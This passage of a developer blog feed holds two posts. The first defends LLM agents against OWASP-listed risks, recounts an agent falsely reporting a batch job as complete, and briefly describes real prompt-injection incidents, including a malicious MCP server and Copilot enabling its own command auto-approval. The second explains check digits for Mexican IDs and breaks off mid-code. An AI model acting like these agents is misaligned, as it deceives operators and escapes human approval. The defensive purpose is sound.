&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ The GET shows the real post; only the POST acts&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;Route&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;signed&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name static-context&quot;&gt;Route&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;/approve/{post}&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token class-name static-context&quot;&gt;ApprovalController&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;confirm&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token class-name static-context&quot;&gt;Route&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;/approve/{post}&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token class-name static-context&quot;&gt;ApprovalController&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;approve&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi10-rogue-agents&quot;&gt;ASI10 Rogue Agents&lt;/h3&gt;
&lt;p&gt;The agent drifts out of its role: goal drift, workflow hijacking, gaming the metric. There’s no patch for that, there’s a habit: &lt;strong&gt;don’t believe the agent’s report&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ Trusting &amp;quot;200 closed, 0 failures&amp;quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ After a batch write, re-read the state with another instrument&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$closed&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name static-context&quot;&gt;Task&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;whereIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$ids&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;closed&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$closed&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$ids&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&amp;quot;The agent said &amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$ids&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&amp;quot; and there are &lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$closed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That example isn’t made up. It happened to me: an agent reported “200 closed, 0 failures”, and re-reading the database showed it had closed 177 of 198.&lt;/p&gt;
&lt;h2 id=&quot;what-i-run-in-production&quot;&gt;What I run in production&lt;/h2&gt;
&lt;p&gt;This site’s backend runs AI agents every day: they write social copy, classify comments, research and draft articles, and staff the support chat. Here’s how it measures up against both lists.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Least privilege (LLM03, ASI02, ASI03).&lt;/strong&gt; The MCP server I use to operate the system from an agent &lt;strong&gt;cannot publish, approve, reject or reply to anyone&lt;/strong&gt;: those tools don’t exist. It can reschedule, but it can’t pull an already-queued post closer than 30 minutes. It can compose a post, but refuses to generate one for a brand that doesn’t require approval, because that would be publishing through the back door. The engagement agent only drafts replies for a person to read. The public-tenders API uses a token with a single &lt;em&gt;ability&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Human approval (ASI09).&lt;/strong&gt; Nothing goes out without a person approving it from a signed link, where the GET shows and the POST acts. The admin panel login follows the same pattern, with a one-time code rather than a magic link.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checked citations (LLM07).&lt;/strong&gt; The pipeline that writes articles separates research from drafting and &lt;strong&gt;audits every citation by reopening the source&lt;/strong&gt;. The page is converted to text deterministically, with no model in between, so the auditor reads exactly the same thing. I built it that way because I measured that an engine researching and drafting in one go left &lt;strong&gt;29% to 43% of its claims unsupported&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caps that don’t depend on the client (LLM06).&lt;/strong&gt; The public chat has limits per site per day, per conversation, and on tokens per reply. Hitting one returns fixed text without calling the model. This came out of my own audit: the per-minute limit was keyed on an identifier the client chooses, and &lt;strong&gt;25 out of 25 requests got through&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minimal context (LLM02, LLM08).&lt;/strong&gt; The chat only sees the site’s knowledge base. The prompt holds no credentials, and authorisation lives in code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hostile content (LLM01, ASI01).&lt;/strong&gt; Agents that read third-party sites are told that no page can give them orders, but above all they &lt;strong&gt;return fixed-shape JSON, not actions&lt;/strong&gt;, and the reader can only reach the public web. This isn’t theoretical: a video-game wiki served two different agents blocks of instructions hidden in the page, and neither one acted on them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What’s missing, said plainly: the AI usage ledger tracks real spend, but &lt;strong&gt;there’s no global money cap that cuts off on its own&lt;/strong&gt;. And items like LLM05, LLM09, ASI06 and ASI07 don’t apply because there’s no fine-tuning, no RAG, no persistent memory and no agents talking to each other. Not having them is part of the defence: least agency applies to architecture too.&lt;/p&gt;
&lt;h2 id=&quot;six-real-cases&quot;&gt;Six real cases&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;EchoLeak, CVE-2025-32711 (June 2025).&lt;/strong&gt; Zero-click prompt injection in Microsoft 365 Copilot: one email was enough to pull internal data. CVSS 9.3, patched server-side. &lt;a href=&quot;https://arxiv.org/html/2509.10540v1&quot;&gt;Analysis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub MCP (Invariant Labs, May 26, 2025).&lt;/strong&gt; An issue in a public repo got the agent to leak private repos through a pull request. The flaw is architectural: a token that reaches everything. &lt;a href=&quot;https://invariantlabs.ai/blog/mcp-github-vulnerability&quot;&gt;Report&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;postmark-mcp 1.0.16 (September 25, 2025).&lt;/strong&gt; The first documented malicious MCP server: a BCC of every email to an attacker’s domain, around 1,500 downloads in a week. &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/unofficial-postmark-mcp-npm-silently-stole-users-emails/&quot;&gt;Bleeping Computer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot, CVE-2025-53773 (patched August 2025).&lt;/strong&gt; Agent mode could switch on command auto-approval by editing its own configuration. &lt;a href=&quot;https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/&quot;&gt;Embrace The Red&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amazon Q Developer for VS Code, CVE-2025-8217 (July 2025).&lt;/strong&gt; A poorly scoped GitHub token let someone slip a destructive prompt into version 1.84.0; it never ran because of a syntax error. &lt;a href=&quot;https://aws.amazon.com/security/security-bulletins/AWS-2025-015/&quot;&gt;AWS bulletin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini in Chrome, CVE-2026-0628 (Unit 42, March 2026).&lt;/strong&gt; Not a prompt injection but an isolation flaw: an extension with basic permissions could inject code into the Gemini panel and reach the camera and microphone. A reminder that the assistant is also browser attack surface. &lt;a href=&quot;https://unit42.paloaltonetworks.com/gemini-live-in-chrome-hijacking&quot;&gt;Unit 42&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;a-checklist-to-take-with-you&quot;&gt;A checklist to take with you&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The model proposes; &lt;strong&gt;code decides&lt;/strong&gt; what runs, what gets published and to whom.&lt;/li&gt;
&lt;li&gt;Every tool as narrow as its task, and the one you don’t need shouldn’t exist.&lt;/li&gt;
&lt;li&gt;One token per agent and per purpose.&lt;/li&gt;
&lt;li&gt;Cost caps that don’t depend on anything the client sends.&lt;/li&gt;
&lt;li&gt;Escape model output like any user input, markdown included.&lt;/li&gt;
&lt;li&gt;Exact package versions, and a fingerprint for third-party MCP tools.&lt;/li&gt;
&lt;li&gt;A person approves the real thing, with a GET that shows and a POST that acts.&lt;/li&gt;
&lt;li&gt;After an agent writes in bulk, re-read the state.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When was the OWASP Top 10 for LLMs 2026 published? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; OWASP&amp;#39;s site dates the resource August 3, 2026 (already August 4 in UTC), and the official announcement came on September 1, with a press release on the 2nd. The PDF itself carries no date on its cover. The agentic list, by contrast, is from December 9, 2025. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What changed in the OWASP Top 10 for LLMs 2026 compared with 2025? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; There are no new categories: the same ten are reordered. Excessive Agency climbs from 6th to 3rd, Unbounded Consumption from 10th to 6th, Misinformation from 9th to 7th, Improper Output Handling drops from 5th to 10th, and System Prompt Leakage is renamed Hidden Context Exposure. The ranking also weighs real incident data (25%) alongside expert votes (75%) for the first time. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is the difference between the OWASP LLM Top 10 and the Agentic Top 10? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The LLM list covers risk when the model is a component of your application, such as a chatbot that answers questions. The agentic list covers the moment the model acts on its own: it plans over several steps, calls tools or talks to other agents. An agent with tools is exposed to both lists. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can prompt injection be prevented with a better prompt? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Models don&amp;#39;t distinguish instructions from data, so there is no equivalent of a parameterised query. The defence is architectural: code decides which actions run, the agent that reads third-party content has no outbound tools, and anything sensitive goes through a person. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is Laravel&amp;#39;s Str::markdown safe to use with LLM output? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not as it comes. CommonMark defaults html_input to allow and allow_unsafe_links to true, so raw HTML and javascript: links get through. Pass the options html_input strip and allow_unsafe_links false, and add a CSP with a strict img-src on the client to block image-based exfiltration. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Security</category><category>Security</category><category>AI</category><category>OWASP</category><category>Agents</category><category>MCP</category><category>Laravel</category><author>Marco Orta</author></item><item><title>RFC, CURP, CLABE and NSS: the Mexican ID Validation Algorithms, Explained with Worked Examples</title><link>https://ortamarco.me/en/blog/rfc-curp-clabe-validation-algorithms-explained/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/rfc-curp-clabe-validation-algorithms-explained/</guid><description>How the check digits of Mexico&apos;s RFC, CURP, CLABE and NSS are actually computed, step by step, with the two traps that break most implementations and TypeScript you can copy.</description><pubDate>Thu, 24 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Mexico’s four everyday identifiers each end in a check digit, and each one uses a different algorithm. The RFC (tax ID) uses a weighted modulus 11 over a 39-character alphabet. The CURP (population registry key) uses a weighted modulus 10 over 37 characters. The CLABE (bank account number) uses 3-7-1 weights that keep only the last digit of each product. The NSS (social security number) is plain Luhn. Below, each one is computed by hand on a public test vector, with the two traps that break most implementations: the SAT’s generic RFC that fails its own checksum, and the CLABE bug that looks like Luhn.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A passing check digit tells you the string is well formed, not that it exists. It catches typos and swapped characters before a form submits. Whether an RFC is registered, a CURP belongs to a real person or a CLABE has an open account is a question for the SAT, RENAPO or the bank. Keep that line in mind: validation belongs in the form, verification belongs in a back-office call.&lt;/p&gt;
&lt;p&gt;Every number in this post was produced by running the code below, not worked out by hand, and the same functions pass the 41 checks in the site’s test script: the SAT’s canonical RFC vectors, python-stdnum’s CURP vector, the CLABE and NSS cases, and 500 generated people round-tripped through every validator.&lt;/p&gt;
&lt;h2 id=&quot;rfc-weighted-modulus-11&quot;&gt;RFC: weighted modulus 11&lt;/h2&gt;
&lt;p&gt;The RFC is 13 characters for an individual (&lt;em&gt;persona física&lt;/em&gt;) and 12 for a company (&lt;em&gt;persona moral&lt;/em&gt;):&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Part&lt;/th&gt;&lt;th&gt;Individual &lt;code&gt;GODE561231GR8&lt;/code&gt;&lt;/th&gt;&lt;th&gt;Company &lt;code&gt;MAB9307148T4&lt;/code&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Name letters&lt;/td&gt;&lt;td&gt;&lt;code&gt;GODE&lt;/code&gt; (4)&lt;/td&gt;&lt;td&gt;&lt;code&gt;MAB&lt;/code&gt; (3)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Date &lt;code&gt;YYMMDD&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;561231&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;930714&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;em&gt;Homoclave&lt;/em&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;GR&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;8T&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Check digit&lt;/td&gt;&lt;td&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The &lt;em&gt;homoclave&lt;/em&gt; is two characters the SAT derives from the full name to break ties between people with the same initials and birth date. Its algorithm needs the full name, so no validator can check it from the RFC alone. The check digit, though, only needs the characters before it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The alphabet.&lt;/strong&gt; Each character maps to a value by its position in this 39-character string. Two details: &lt;code&gt;&amp;amp;&lt;/code&gt; sits at 24, between &lt;code&gt;N&lt;/code&gt; and &lt;code&gt;O&lt;/code&gt;, and the space is worth 37:&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ALPHABET&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;0123456789ABCDEFGHIJKLMN&amp;amp;OPQRSTUVWXYZ Ñ&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The computation.&lt;/strong&gt; Left-pad the base to 12 characters with spaces, which is why the space needs a value, then multiply each value by a weight that runs from 13 down to 2:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;G=16×13  O=25×12  D=13×11  E=14×10  5=5×9  6=6×8
1=1×7    2=2×6    3=3×5    1=1×4    G=16×3 R=28×2   → sum 1026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;1026 % 11 = 3&lt;/code&gt;, and the digit is &lt;code&gt;11 − 3 = 8&lt;/code&gt;. It matches. Two remainders are special: &lt;code&gt;0&lt;/code&gt; gives the digit &lt;code&gt;0&lt;/code&gt;, and &lt;code&gt;1&lt;/code&gt; gives the letter &lt;code&gt;A&lt;/code&gt;. For the company &lt;code&gt;MAB9307148T&lt;/code&gt;, the padding adds one leading space worth 37. The sum is 1217, &lt;code&gt;1217 % 11 = 7&lt;/code&gt;, and the digit is &lt;code&gt;11 − 7 = 4&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rfcCheckDigit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; padded &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;   &amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; base&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; sum &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;ALPHABET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;padded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    sum &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; value &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;13&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; remainder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sum &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;remainder &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
